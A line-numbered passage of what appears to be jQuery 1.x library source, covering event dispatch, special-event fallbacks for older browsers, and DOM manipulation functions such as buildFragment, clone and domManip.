2970 elem[type]()
2971 } catch (e) {}
2972 jQuery.event.triggered = undefined;
2973 if (tmp) {
2974 elem[ontype] = tmp
2975 }
2976 }
2977 }
2978 }
2979 return event.result
2980 },
2981 dispatch: function(event) {
2982 event = jQuery.event.fix(event);
2983 var i, ret, handleObj, matched, j, handlerQueue = [],
2984 args = slice.call(arguments),
2985 handlers = (jQuery._data(this, "events") || {})[event.type] || [],
2986 special = jQuery.event.special[event.type] || {};
2987 args[0] = event;
2988 event.delegateTarget = this;
2989 if (special.preDispatch && special.preDispatch.call(this, event) === false) {
2990 return
2991 }
2992 handlerQueue = jQuery.event.handlers.call(this, event, handlers);
2993 i = 0;
2994 while ((matched = handlerQueue[i++]) && !event.isPropagationStopped()) {
2995 event.currentTarget = matched.elem;
2996 j = 0;
2997 while ((handleObj = matched.handlers[j++]) && !event.isImmediatePropagationStopped()) {
2998 if (!event.namespace_re || event.namespace_re.test(handleObj.namespace)) {
2999 event.handleObj = handleObj;
3000 event.data = handleObj.data;
3001 ret = ((jQuery.event.special[handleObj.origType] || {}).handle || handleObj.handler).apply(matched.elem, args);
3002 if (ret !== undefined) {
3003 if ((event.result = ret) === false) {
3004 event.preventDefault();
3005 event.stopPropagation()
3006 }
3007 }
3008 }
3009 }
3010 }
3011 if (special.postDispatch) {
3012 special.postDispatch.call(this, event)
3013 }
3014 return event.result
3015 },
3016 handlers: function(event, handlers) {
3017 var sel, handleObj, matches, i, handlerQueue = [],
3018 delegateCount = handlers.delegateCount,
3019 cur = event.target;
3020 if (delegateCount && cur.nodeType && (!event.button || event.type !== "click")) {
3021 for (; cur != this; cur = cur.parentNode || this) {
3022 if (cur.nodeType === 1 && (cur.disabled !== true || event.type !== "click")) {
3023 matches = [];
3024 for (i = 0; i < delegateCount; i++) {
3025 handleObj = handlers[i];
3026 sel = handleObj.selector + " ";
3027 if (matches[sel] === undefined) {
3028 matches[sel] = handleObj.needsContext ? jQuery(sel, this).index(cur) >= 0 : jQuery.find(sel, this, null, [cur]).length
3029 }
3030 if (matches[sel]) {
3031 matches.push(handleObj)
3032 }
3033 }
3034 if (matches.length) {
3035 handlerQueue.push({
3036 elem: cur,
3037 handlers: matches
3038 })
3039 }
3040 }
3041 }
3042 }
3043 if (delegateCount < handlers.length) {
3044 handlerQueue.push({
3045 elem: this,
3046 handlers: handlers.slice(delegateCount)
3047 })
3048 }
3049 return handlerQueue
3050 },
3051 fix: function(event) {
3052 if (event[jQuery.expando]) {
3053 return event
3054 }
3055 var i, prop, copy, type = event.type,
3056 originalEvent = event,
3057 fixHook = this.fixHooks[type];
3058 if (!fixHook) {
3059 this.fixHooks[type] = fixHook = rmouseEvent.test(type) ? this.mouseHooks : rkeyEvent.test(type) ? this.keyHooks : {}
3060 }
3061 copy = fixHook.props ? this.props.concat(fixHook.props) : this.props;
3062 event = new jQuery.Event(originalEvent);
3063 i = copy.length;
3064 while (i--) {
3065 prop = copy[i];
3066 event[prop] = originalEvent[prop]
3067 }
3068 if (!event.target) {
3069 event.target = originalEvent.srcElement || document
3070 }
3071 if (event.target.nodeType === 3) {
3072 event.target = event.target.parentNode
3073 }
3074 event.metaKey = !!event.metaKey;
3075 return fixHook.filter ? fixHook.filter(event, originalEvent) : event
3076 },
3077 props: "altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),
3078 fixHooks: {},
3079 keyHooks: {
3080 props: "char charCode key keyCode".split(" "),
3081 filter: function(event, original) {
3082 if (event.which == null) {
3083 event.which = original.charCode != null ? original.charCode : original.keyCode
3084 }
3085 return event
3086 }
3087 },
3088 mouseHooks: {
3089 props: "button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),
3090 filter: function(event, original) {
3091 var body, eventDoc, doc, button = original.button,
3092 fromElement = original.fromElement;
3093 if (event.pageX == null && original.clientX != null) {
3094 eventDoc = event.target.ownerDocument || document;
3095 doc = eventDoc.documentElement;
3096 body = eventDoc.body;
3097 event.pageX = original.clientX + (doc && doc.scrollLeft || body && body.scrollLeft || 0) - (doc && doc.clientLeft || body && body.clientLeft || 0);
3098 event.pageY = original.clientY + (doc && doc.scrollTop || body && body.scrollTop || 0) - (doc && doc.clientTop || body && body.clientTop || 0)
3099 }
3100 if (!event.relatedTarget && fromElement) {
3101 event.relatedTarget = fromElement === event.target ? original.toElement : fromElement
3102 }
3103 if (!event.which && button !== undefined) {
3104 event.which = (button & 1 ? 1 : (button & 2 ? 3 : (button & 4 ? 2 : 0)))
3105 }
3106 return event
3107 }
3108 },
3109 special: {
3110 load: {
3111 noBubble: true
3112 },
3113 focus: {
3114 trigger: function() {
3115 if (this !== safeActiveElement() && this.focus) {
3116 try {
3117 this.focus();
3118 return false
3119 } catch (e) {}
3120 }
3121 },
3122 delegateType: "focusin"
3123 },
3124 blur: {
3125 trigger: function() {
3126 if (this === safeActiveElement() && this.blur) {
3127 this.blur();
3128 return false
3129 }
3130 },
3131 delegateType: "focusout"
3132 },
3133 click: {
3134 trigger: function() {
3135 if (jQuery.nodeName(this, "input") && this.type === "checkbox" && this.click) {
3136 this.click();
3137 return false
3138 }
3139 },
3140 _default: function(event) {
3141 return jQuery.nodeName(event.target, "a")
3142 }
3143 },
3144 beforeunload: {
3145 postDispatch: function(event) {
3146 if (event.result !== undefined && event.originalEvent) {
3147 event.originalEvent.returnValue = event.result
3148 }
3149 }
3150 }
3151 },
3152 simulate: function(type, elem, event, bubble) {
3153 var e = jQuery.extend(new jQuery.Event(), event, {
3154 type: type,
3155 isSimulated: true,
3156 originalEvent: {}
3157 });
3158 if (bubble) {
3159 jQuery.event.trigger(e, null, elem)
3160 } else {
3161 jQuery.event.dispatch.call(elem, e)
3162 }
3163 if (e.isDefaultPrevented()) {
3164 event.preventDefault()
3165 }
3166 }
3167 };
3168 jQuery.removeEvent = document.removeEventListener ? function(elem, type, handle) {
3169 if (elem.removeEventListener) {
3170 elem.removeEventListener(type, handle, false)
3171 }
3172 } : function(elem, type, handle) {
3173 var name = "on" + type;
3174 if (elem.detachEvent) {
3175 if (typeof elem[name] === strundefined) {
3176 elem[name] = null
3177 }
3178 elem.detachEvent(name, handle)
3179 }
3180 };
3181 jQuery.Event = function(src, props) {
3182 if (!(this instanceof jQuery.Event)) {
3183 return new jQuery.Event(src, props)
3184 }
3185 if (src && src.type) {
3186 this.originalEvent = src;
3187 this.type = src.type;
3188 this.isDefaultPrevented = src.defaultPrevented || src.defaultPrevented === undefined && src.returnValue === false ? returnTrue : returnFalse
3189 } else {
3190 this.type = src
3191 }
3192 if (props) {
3193 jQuery.extend(this, props)
3194 }
3195 this.timeStamp = src && src.timeStamp || jQuery.now();
3196 this[jQuery.expando] = true
3197 };
3198 jQuery.Event.prototype = {
3199 isDefaultPrevented: returnFalse,
3200 isPropagationStopped: returnFalse,
3201 isImmediatePropagationStopped: returnFalse,
3202 preventDefault: function() {
3203 var e = this.originalEvent;
3204 this.isDefaultPrevented = returnTrue;
3205 if (!e) {
3206 return
3207 }
3208 if (e.preventDefault) {
3209 e.preventDefault()
3210 } else {
3211 e.returnValue = false
3212 }
3213 },
3214 stopPropagation: function() {
3215 var e = this.originalEvent;
3216 this.isPropagationStopped = returnTrue;
3217 if (!e) {
3218 return
3219 }
3220 if (e.stopPropagation) {
3221 e.stopPropagation()
3222 }
3223 e.cancelBubble = true
3224 },
3225 stopImmediatePropagation: function() {
3226 var e = this.originalEvent;
3227 this.isImmediatePropagationStopped = returnTrue;
3228 if (e && e.stopImmediatePropagation) {
3229 e.stopImmediatePropagation()
3230 }
3231 this.stopPropagation()
3232 }
3233 };
3234 jQuery.each({
3235 mouseenter: "mouseover",
3236 mouseleave: "mouseout",
3237 pointerenter: "pointerover",
3238 pointerleave: "pointerout"
3239 }, function(orig, fix) {
3240 jQuery.event.special[orig] = {
3241 delegateType: fix,
3242 bindType: fix,
3243 handle: function(event) {
3244 var ret, target = this,
3245 related = event.relatedTarget,
3246 handleObj = event.handleObj;
3247 if (!related || (related !== target && !jQuery.contains(target, related))) {
3248 event.type = handleObj.origType;
3249 ret = handleObj.handler.apply(this, arguments);
3250 event.type = fix
3251 }
3252 return ret
3253 }
3254 }
3255 });
3256 if (!support.submitBubbles) {
3257 jQuery.event.special.submit = {
3258 setup: function() {
3259 if (jQuery.nodeName(this, "form")) {
3260 return false
3261 }
3262 jQuery.event.add(this, "click._submit keypress._submit", function(e) {
3263 var elem = e.target,
3264 form = jQuery.nodeName(elem, "input") || jQuery.nodeName(elem, "button") ? elem.form : undefined;
3265 if (form && !jQuery._data(form, "submitBubbles")) {
3266 jQuery.event.add(form, "submit._submit", function(event) {
3267 event._submit_bubble = true
3268 });
3269 jQuery._data(form, "submitBubbles", true)
3270 }
3271 })
3272 },
3273 postDispatch: function(event) {
3274 if (event._submit_bubble) {
3275 delete event._submit_bubble;
3276 if (this.parentNode && !event.isTrigger) {
3277 jQuery.event.simulate("submit", this.parentNode, event, true)
3278 }
3279 }
3280 },
3281 teardown: function() {
3282 if (jQuery.nodeName(this, "form")) {
3283 return false
3284 }
3285 jQuery.event.remove(this, "._submit")
3286 }
3287 }
3288 }
3289 if (!support.changeBubbles) {
3290 jQuery.event.special.change = {
3291 setup: function() {
3292 if (rformElems.test(this.nodeName)) {
3293 if (this.type === "checkbox" || this.type === "radio") {
3294 jQuery.event.add(this, "propertychange._change", function(event) {
3295 if (event.originalEvent.propertyName === "checked") {
3296 this._just_changed = true
3297 }
3298 });
3299 jQuery.event.add(this, "click._change", function(event) {
3300 if (this._just_changed && !event.isTrigger) {
3301 this._just_changed = false
3302 }
3303 jQuery.event.simulate("change", this, event, true)
3304 })
3305 }
3306 return false
3307 }
3308 jQuery.event.add(this, "beforeactivate._change", function(e) {
3309 var elem = e.target;
3310 if (rformElems.test(elem.nodeName) && !jQuery._data(elem, "changeBubbles")) {
3311 jQuery.event.add(elem, "change._change", function(event) {
3312 if (this.parentNode && !event.isSimulated && !event.isTrigger) {
3313 jQuery.event.simulate("change", this.parentNode, event, true)
3314 }
3315 });
3316 jQuery._data(elem, "changeBubbles", true)
3317 }
3318 })
3319 },
3320 handle: function(event) {
3321 var elem = event.target;
3322 if (this !== elem || event.isSimulated || event.isTrigger || (elem.type !== "radio" && elem.type !== "checkbox")) {
3323 return event.handleObj.handler.apply(this, arguments)
3324 }
3325 },
3326 teardown: function() {
3327 jQuery.event.remove(this, "._change");
3328 return !rformElems.test(this.nodeName)
3329 }
3330 }
3331 }
3332 if (!support.focusinBubbles) {
3333 jQuery.each({
3334 focus: "focusin",
3335 blur: "focusout"
3336 }, function(orig, fix) {
3337 var handler = function(event) {
3338 jQuery.event.simulate(fix, event.target, jQuery.event.fix(event), true)
3339 };
3340 jQuery.event.special[fix] = {
3341 setup: function() {
3342 var doc = this.ownerDocument || this,
3343 attaches = jQuery._data(doc, fix);
3344 if (!attaches) {
3345 doc.addEventListener(orig, handler, true)
3346 }
3347 jQuery._data(doc, fix, (attaches || 0) + 1)
3348 },
3349 teardown: function() {
3350 var doc = this.ownerDocument || this,
3351 attaches = jQuery._data(doc, fix) - 1;
3352 if (!attaches) {
3353 doc.removeEventListener(orig, handler, true);
3354 jQuery._removeData(doc, fix)
3355 } else {
3356 jQuery._data(doc, fix, attaches)
3357 }
3358 }
3359 }
3360 })
3361 }
3362 jQuery.fn.extend({
3363 on: function(types, selector, data, fn, one) {
3364 var type, origFn;
3365 if (typeof types === "object") {
3366 if (typeof selector !== "string") {
3367 data = data || selector;
3368 selector = undefined
3369 }
3370 for (type in types) {
3371 this.on(type, selector, data, types[type], one)
3372 }
3373 return this
3374 }
3375 if (data == null && fn == null) {
3376 fn = selector;
3377 data = selector = undefined
3378 } else if (fn == null) {
3379 if (typeof selector === "string") {
3380 fn = data;
3381 data = undefined
3382 } else {
3383 fn = data;
3384 data = selector;
3385 selector = undefined
3386 }
3387 }
3388 if (fn === false) {
3389 fn = returnFalse
3390 } else if (!fn) {
3391 return this
3392 }
3393 if (one === 1) {
3394 origFn = fn;
3395 fn = function(event) {
3396 jQuery().off(event);
3397 return origFn.apply(this, arguments)
3398 };
3399 fn.guid = origFn.guid || (origFn.guid = jQuery.guid++)
3400 }
3401 return this.each(function() {
3402 jQuery.event.add(this, types, fn, data, selector)
3403 })
3404 },
3405 one: function(types, selector, data, fn) {
3406 return this.on(types, selector, data, fn, 1)
3407 },
3408 off: function(types, selector, fn) {
3409 var handleObj, type;
3410 if (types && types.preventDefault && types.handleObj) {
3411 handleObj = types.handleObj;
3412 jQuery(types.delegateTarget).off(handleObj.namespace ? handleObj.origType + "." + handleObj.namespace : handleObj.origType, handleObj.selector, handleObj.handler);
3413 return this
3414 }
3415 if (typeof types === "object") {
3416 for (type in types) {
3417 this.off(type, selector, types[type])
3418 }
3419 return this
3420 }
3421 if (selector === false || typeof selector === "function") {
3422 fn = selector;
3423 selector = undefined
3424 }
3425 if (fn === false) {
3426 fn = returnFalse
3427 }
3428 return this.each(function() {
3429 jQuery.event.remove(this, types, fn, selector)
3430 })
3431 },
3432 trigger: function(type, data) {
3433 return this.each(function() {
3434 jQuery.event.trigger(type, data, this)
3435 })
3436 },
3437 triggerHandler: function(type, data) {
3438 var elem = this[0];
3439 if (elem) {
3440 return jQuery.event.trigger(type, data, elem, true)
3441 }
3442 }
3443 });
3444
3445 function createSafeFragment(document) {
3446 var list = nodeNames.split("|"),
3447 safeFrag = document.createDocumentFragment();
3448 if (safeFrag.createElement) {
3449 while (list.length) {
3450 safeFrag.createElement(list.pop())
3451 }
3452 }
3453 return safeFrag
3454 }
3455 var nodeNames = "abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|" + "header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",
3456 rinlinejQuery = / jQuery\d+="(?:null|\d+)"/g,
3457 rnoshimcache = new RegExp("<(?:" + nodeNames + ")[\\s/>]", "i"),
3458 rleadingWhitespace = /^\s+/,
3459 rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,
3460 rtagName = /<([\w:]+)/,
3461 rtbody = /<tbody/i,
3462 rhtml = /<|&#?\w+;/,
3463 rnoInnerhtml = /<(?:script|style|link)/i,
3464 rchecked = /checked\s*(?:[^=]|=\s*.checked.)/i,
3465 rscriptType = /^$|\/(?:java|ecma)script/i,
3466 rscriptTypeMasked = /^true\/(.*)/,
3467 rcleanScript = /^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,
3468 wrapMap = {
3469 option: [1, "<select multiple='multiple'>", "</select>"],
3470 legend: [1, "<fieldset>", "</fieldset>"],
3471 area: [1, "<map>", "</map>"],
3472 param: [1, "<object>", "</object>"],
3473 thead: [1, "<table>", "</table>"],
3474 tr: [2, "<table><tbody>", "</tbody></table>"],
3475 col: [2, "<table><tbody></tbody><colgroup>", "</colgroup></table>"],
3476 td: [3, "<table><tbody><tr>", "</tr></tbody></table>"],
3477 _default: support.htmlSerialize ? [0, "", ""] : [1, "X<div>", "</div>"]
3478 },
3479 safeFragment = createSafeFragment(document),
3480 fragmentDiv = safeFragment.appendChild(document.createElement("div"));
3481 wrapMap.optgroup = wrapMap.option;
3482 wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead;
3483 wrapMap.th = wrapMap.td;
3484
3485 function getAll(context, tag) {
3486 var elems, elem, i = 0,
3487 found = typeof context.getElementsByTagName !== strundefined ? context.getElementsByTagName(tag || "*") : typeof context.querySelectorAll !== strundefined ? context.querySelectorAll(tag || "*") : undefined;
3488 if (!found) {
3489 for (found = [], elems = context.childNodes || context;
3490 (elem = elems[i]) != null; i++) {
3491 if (!tag || jQuery.nodeName(elem, tag)) {
3492 found.push(elem)
3493 } else {
3494 jQuery.merge(found, getAll(elem, tag))
3495 }
3496 }
3497 }
3498 return tag === undefined || tag && jQuery.nodeName(context, tag) ? jQuery.merge([context], found) : found
3499 }
3500
3501 function fixDefaultChecked(elem) {
3502 if (rcheckableType.test(elem.type)) {
3503 elem.defaultChecked = elem.checked
3504 }
3505 }
3506
3507 function manipulationTarget(elem, content) {
3508 return jQuery.nodeName(elem, "table") && jQuery.nodeName(content.nodeType !== 11 ? content : content.firstChild, "tr") ? elem.getElementsByTagName("tbody")[0] || elem.appendChild(elem.ownerDocument.createElement("tbody")) : elem
3509 }
3510
3511 function disableScript(elem) {
3512 elem.type = (jQuery.find.attr(elem, "type") !== null) + "/" + elem.type;
3513 return elem
3514 }
3515
3516 function restoreScript(elem) {
3517 var match = rscriptTypeMasked.exec(elem.type);
3518 if (match) {
3519 elem.type = match[1]
3520 } else {
3521 elem.removeAttribute("type")
3522 }
3523 return elem
3524 }
3525
3526 function setGlobalEval(elems, refElements) {
3527 var elem, i = 0;
3528 for (;
3529 (elem = elems[i]) != null; i++) {
3530 jQuery._data(elem, "globalEval", !refElements || jQuery._data(refElements[i], "globalEval"))
3531 }
3532 }
3533
3534 function cloneCopyEvent(src, dest) {
3535 if (dest.nodeType !== 1 || !jQuery.hasData(src)) {
3536 return
3537 }
3538 var type, i, l, oldData = jQuery._data(src),
3539 curData = jQuery._data(dest, oldData),
3540 events = oldData.events;
3541 if (events) {
3542 delete curData.handle;
3543 curData.events = {};
3544 for (type in events) {
3545 for (i = 0, l = events[type].length; i < l; i++) {
3546 jQuery.event.add(dest, type, events[type][i])
3547 }
3548 }
3549 }
3550 if (curData.data) {
3551 curData.data = jQuery.extend({}, curData.data)
3552 }
3553 }
3554
3555 function fixCloneNodeIssues(src, dest) {
3556 var nodeName, e, data;
3557 if (dest.nodeType !== 1) {
3558 return
3559 }
3560 nodeName = dest.nodeName.toLowerCase();
3561 if (!support.noCloneEvent && dest[jQuery.expando]) {
3562 data = jQuery._data(dest);
3563 for (e in data.events) {
3564 jQuery.removeEvent(dest, e, data.handle)
3565 }
3566 dest.removeAttribute(jQuery.expando)
3567 }
3568 if (nodeName === "script" && dest.text !== src.text) {
3569 disableScript(dest).text = src.text;
3570 restoreScript(dest)
3571 } else if (nodeName === "object") {
3572 if (dest.parentNode) {
3573 dest.outerHTML = src.outerHTML
3574 }
3575 if (support.html5Clone && (src.innerHTML && !jQuery.trim(dest.innerHTML))) {
3576 dest.innerHTML = src.innerHTML
3577 }
3578 } else if (nodeName === "input" && rcheckableType.test(src.type)) {
3579 dest.defaultChecked = dest.checked = src.checked;
3580 if (dest.value !== src.value) {
3581 dest.value = src.value
3582 }
3583 } else if (nodeName === "option") {
3584 dest.defaultSelected = dest.selected = src.defaultSelected
3585 } else if (nodeName === "input" || nodeName === "textarea") {
3586 dest.defaultValue = src.defaultValue
3587 }
3588 }
3589 jQuery.extend({
3590 clone: function(elem, dataAndEvents, deepDataAndEvents) {
3591 var destElements, node, clone, i, srcElements, inPage = jQuery.contains(elem.ownerDocument, elem);
3592 if (support.html5Clone || jQuery.isXMLDoc(elem) || !rnoshimcache.test("<" + elem.nodeName + ">")) {
3593 clone = elem.cloneNode(true)
3594 } else {
3595 fragmentDiv.innerHTML = elem.outerHTML;
3596 fragmentDiv.removeChild(clone = fragmentDiv.firstChild)
3597 }
3598 if ((!support.noCloneEvent || !support.noCloneChecked) && (elem.nodeType === 1 || elem.nodeType === 11) && !jQuery.isXMLDoc(elem)) {
3599 destElements = getAll(clone);
3600 srcElements = getAll(elem);
3601 for (i = 0;
3602 (node = srcElements[i]) != null; ++i) {
3603 if (destElements[i]) {
3604 fixCloneNodeIssues(node, destElements[i])
3605 }
3606 }
3607 }
3608 if (dataAndEvents) {
3609 if (deepDataAndEvents) {
3610 srcElements = srcElements || getAll(elem);
3611 destElements = destElements || getAll(clone);
3612 for (i = 0;
3613 (node = srcElements[i]) != null; i++) {
3614 cloneCopyEvent(node, destElements[i])
3615 }
3616 } else {
3617 cloneCopyEvent(elem, clone)
3618 }
3619 }
3620 destElements = getAll(clone, "script");
3621 if (destElements.length > 0) {
3622 setGlobalEval(destElements, !inPage && getAll(elem, "script"))
3623 }
3624 destElements = srcElements = node = null;
3625 return clone
3626 },
3627 buildFragment: function(elems, context, scripts, selection) {
3628 var j, elem, contains, tmp, tag, tbody, wrap, l = elems.length,
3629 safe = createSafeFragment(context),
3630 nodes = [],
3631 i = 0;
3632 for (; i < l; i++) {
3633 elem = elems[i];
3634 if (elem || elem === 0) {
3635 if (jQuery.type(elem) === "object") {
3636 jQuery.merge(nodes, elem.nodeType ? [elem] : elem)
3637 } else if (!rhtml.test(elem)) {
3638 nodes.push(context.createTextNode(elem))
3639 } else {
3640 tmp = tmp || safe.appendChild(context.createElement("div"));
3641 tag = (rtagName.exec(elem) || ["", ""])[1].toLowerCase();
3642 wrap = wrapMap[tag] || wrapMap._default;
3643 tmp.innerHTML = wrap[1] + elem.replace(rxhtmlTag, "<$1></$2>") + wrap[2];
3644 j = wrap[0];
3645 while (j--) {
3646 tmp = tmp.lastChild
3647 }
3648 if (!support.leadingWhitespace && rleadingWhitespace.test(elem)) {
3649 nodes.push(context.createTextNode(rleadingWhitespace.exec(elem)[0]))
3650 }
3651 if (!support.tbody) {
3652 elem = tag === "table" && !rtbody.test(elem) ? tmp.firstChild : wrap[1] === "<table>" && !rtbody.test(elem) ? tmp : 0;
3653 j = elem && elem.childNodes.length;
3654 while (j--) {
3655 if (jQuery.nodeName((tbody = elem.childNodes[j]), "tbody") && !tbody.childNodes.length) {
3656 elem.removeChild(tbody)
3657 }
3658 }
3659 }
3660 jQuery.merge(nodes, tmp.childNodes);
3661 tmp.textContent = "";
3662 while (tmp.firstChild) {
3663 tmp.removeChild(tmp.firstChild)
3664 }
3665 tmp = safe.lastChild
3666 }
3667 }
3668 }
3669 if (tmp) {
3670 safe.removeChild(tmp)
3671 }
3672 if (!support.appendChecked) {
3673 jQuery.grep(getAll(nodes, "input"), fixDefaultChecked)
3674 }
3675 i = 0;
3676 while ((elem = nodes[i++])) {
3677 if (selection && jQuery.inArray(elem, selection) !== -1) {
3678 continue
3679 }
3680 contains = jQuery.contains(elem.ownerDocument, elem);
3681 tmp = getAll(safe.appendChild(elem), "script");
3682 if (contains) {
3683 setGlobalEval(tmp)
3684 }
3685 if (scripts) {
3686 j = 0;
3687 while ((elem = tmp[j++])) {
3688 if (rscriptType.test(elem.type || "")) {
3689 scripts.push(elem)
3690 }
3691 }
3692 }
3693 }
3694 tmp = null;
3695 return safe
3696 },
3697 cleanData: function(elems, acceptData) {
3698 var elem, type, id, data, i = 0,
3699 internalKey = jQuery.expando,
3700 cache = jQuery.cache,
3701 deleteExpando = support.deleteExpando,
3702 special = jQuery.event.special;
3703 for (;
3704 (elem = elems[i]) != null; i++) {
3705 if (acceptData || jQuery.acceptData(elem)) {
3706 id = elem[internalKey];
3707 data = id && cache[id];
3708 if (data) {
3709 if (data.events) {
3710 for (type in data.events) {
3711 if (special[type]) {
3712 jQuery.event.remove(elem, type)
3713 } else {
3714 jQuery.removeEvent(elem, type, data.handle)
3715 }
3716 }
3717 }
3718 if (cache[id]) {
3719 delete cache[id];
3720 if (deleteExpando) {
3721 delete elem[internalKey]
3722 } else if (typeof elem.removeAttribute !== strundefined) {
3723 elem.removeAttribute(internalKey)
3724 } else {
3725 elem[internalKey] = null
3726 }
3727 deletedIds.push(id)
3728 }
3729 }
3730 }
3731 }
3732 }
3733 });
3734 jQuery.fn.extend({
3735 text: function(value) {
3736 return access(this, function(value) {
3737 return value === undefined ? jQuery.text(this) : this.empty().append((this[0] && this[0].ownerDocument || document).createTextNode(value))
3738 }, null, value, arguments.length)
3739 },
3740 append: function() {
3741 return this.domManip(arguments, function(elem) {
3742 if (this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9) {
3743 var target = manipulationTarget(this, elem);
3744 target.appendChild(elem)
3745 }
3746 })
3747 },
3748 prepend: function() {
3749 return this.domManip(arguments, function(elem) {
3750 if (this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9) {
3751 var target = manipulationTarget(this, elem);
3752 target.insertBefore(elem, target.firstChild)
3753 }
3754 })
3755 },
3756 before: function() {
3757 return this.domManip(arguments, function(elem) {
3758 if (this.parentNode) {
3759 this.parentNode.insertBefore(elem, this)
3760 }
3761 })
3762 },
3763 after: function() {
3764 return this.domManip(arguments, function(elem) {
3765 if (this.parentNode) {
3766 this.parentNode.insertBefore(elem, this.nextSibling)
3767 }
3768 })
3769 },
3770 remove: function(selector, keepData) {
3771 var elem, elems = selector ? jQuery.filter(selector, this) : this,
3772 i = 0;
3773 for (;
3774 (elem = elems[i]) != null; i++) {
3775 if (!keepData && elem.nodeType === 1) {
3776 jQuery.cleanData(getAll(elem))
3777 }
3778 if (elem.parentNode) {
3779 if (keepData && jQuery.contains(elem.ownerDocument, elem)) {
3780 setGlobalEval(getAll(elem, "script"))
3781 }
3782 elem.parentNode.removeChild(elem)
3783 }
3784 }
3785 return this
3786 },
3787 empty: function() {
3788 var elem, i = 0;
3789 for (;
3790 (elem = this[i]) != null; i++) {
3791 if (elem.nodeType === 1) {
3792 jQuery.cleanData(getAll(elem, false))
3793 }
3794 while (elem.firstChild) {
3795 elem.removeChild(elem.firstChild)
3796 }
3797 if (elem.options && jQuery.nodeName(elem, "select")) {
3798 elem.options.length = 0
3799 }
3800 }
3801 return this
3802 },
3803 clone: function(dataAndEvents, deepDataAndEvents) {
3804 dataAndEvents = dataAndEvents == null ? false : dataAndEvents;
3805 deepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents;
3806 return this.map(function() {
3807 return jQuery.clone(this, dataAndEvents, deepDataAndEvents)
3808 })
3809 },
3810 html: function(value) {
3811 return access(this, function(value) {
3812 var elem = this[0] || {},
3813 i = 0,
3814 l = this.length;
3815 if (value === undefined) {
3816 return elem.nodeType === 1 ? elem.innerHTML.replace(rinlinejQuery, "") : undefined
3817 }
3818 if (typeof value === "string" && !rnoInnerhtml.test(value) && (support.htmlSerialize || !rnoshimcache.test(value)) && (support.leadingWhitespace || !rleadingWhitespace.test(value)) && !wrapMap[(rtagName.exec(value) || ["", ""])[1].toLowerCase()]) {
3819 value = value.replace(rxhtmlTag, "<$1></$2>");
3820 try {
3821 for (; i < l; i++) {
3822 elem = this[i] || {};
3823 if (elem.nodeType === 1) {
3824 jQuery.cleanData(getAll(elem, false));
3825 elem.innerHTML = value
3826 }
3827 }
3828 elem = 0
3829 } catch (e) {}
3830 }
3831 if (elem) {
3832 this.empty().append(value)
3833 }
3834 }, null, value, arguments.length)
3835 },
3836 replaceWith: function() {
3837 var arg = arguments[0];
3838 this.domManip(arguments, function(elem) {
3839 arg = this.parentNode;
3840 jQuery.cleanData(getAll(this));
3841 if (arg) {
3842 arg.replaceChild(elem, this)
3843 }
3844 });
3845 return arg && (arg.length || arg.nodeType) ? this : this.remove()
3846 },
3847 detach: function(selector) {
3848 return this.remove(selector, true)
3849 },
3850 domManip: function(args, callback) {
3851 args = concat.apply([], args);
3852 var first, node, hasScripts, scripts, doc, fragment, i = 0,
3853 l = this.length,
3854 set = this,
3855 iNoClone = l - 1,
3856 value = args[0],
3857 isFunction = jQuery.isFunction(value);
3858 if (isFunction || (l > 1 && typeof value === "string" && !support.checkClone && rchecked.test(value))) {
3859 return this.each(function(index) {
3860 var self = set.eq(index);
3861 if (isFunction) {
3862 args[0] = value.call(this, index, self.html())
3863 }
3864 self.domManip(args, callback)
3865 })
3866 }
3867 if (l) {
3868 fragment = jQuery.buildFragment(args, this[0].ownerDocument, false, this);
3869 first = fragment.firstChild;
3870 if (fragment.childNodes.length === 1) {
3871 fragment = first
3872 }
3873 if (first) {
3874 scripts = jQuery.map(getAll(fragment, "script"), disableScript);
3875 hasScripts = scripts.length;
3876 for (; i < l; i++) {
3877 node = fragment;
3878 if (i !== iNoClone) {
3879 node = jQuery.clone(node, true, true);
3880 if (hasScripts) {
3881 jQuery.merge(scripts, getAll(node, "script"))
3882 }
3883 }
3884 callback.call(this[i], node, i)
3885 }
3886 if (hasScripts) {
3887 doc = scripts[scripts.length - 1].ownerDocument;
3888 jQuery.map(scripts, restoreScript);
3889 for (i = 0; i < hasScripts; i++) {
3890 node = scripts[i];
3891 if (rscriptType.test(node.type || "") && !jQuery._data(node, "globalEval") && jQuery.contains(doc, node)) {
3892 if (node.src) {
3893 if (jQuery._evalUrl) {
3894 jQuery._evalUrl(node.src)
3895 }
3896 } else {
3897 jQuery.globalEval((node.text || node.textContent || node.innerHTML || "").replace(rcleanScript, ""))
3898 }
3899 }
3900 }
3901 }
3902 fragment = first = null
3903 }
3904 }
3905 return this
3906 }
3907 });
3908 jQuery.each({
3909 appendTo: "append",
3910 prependTo: "prepend",
3911 insertBefore: "before",
3912 insertAfter: "after",
3913 replaceAll: "replaceWith"
3914 }, function(name, original) {
3915 jQuery.fn[name] = function(selector) {
3916 var elems, i = 0,
3917 ret = [],
3918 insert = jQuery(selector),
3919 last = insert.length - 1;
3920 for (; i <= last; i++) {
3921 elems = i === last ? this : this.clone(true);
3922 jQuery(insert[i])[original](elems);
3923 push.apply(ret, elems.get())
3924 }
3925 return this.pushStack(ret)
3926 }
3927 });
3928 var iframe, elemdisplay = {};
3929
3930 function actualDisplay(name, doc) {
3931 var style, elem = jQuery(doc.createElement(name)).appendTo(doc.body),
3932 display = window.getDefaultComputedStyle && (style = window.getDefaultComputedStyle(elem[0])) ? style.display : jQuery.css(elem[0], "display");
3933 elem.detach();
3934 return display
3935 }
3936
3937 function defaultDisplay(nodeName) {
3938 var doc = document,
3939 display = elemdisplay[nodeName];
3940 if (!display) {
3941 display = actualDisplay(nodeName, doc);
3942 if (display === "none" || !display) {
3943 iframe = (iframe || jQuery("<iframe frameborder='0' width='0' height='0'/>")).appendTo(doc.documentElement);
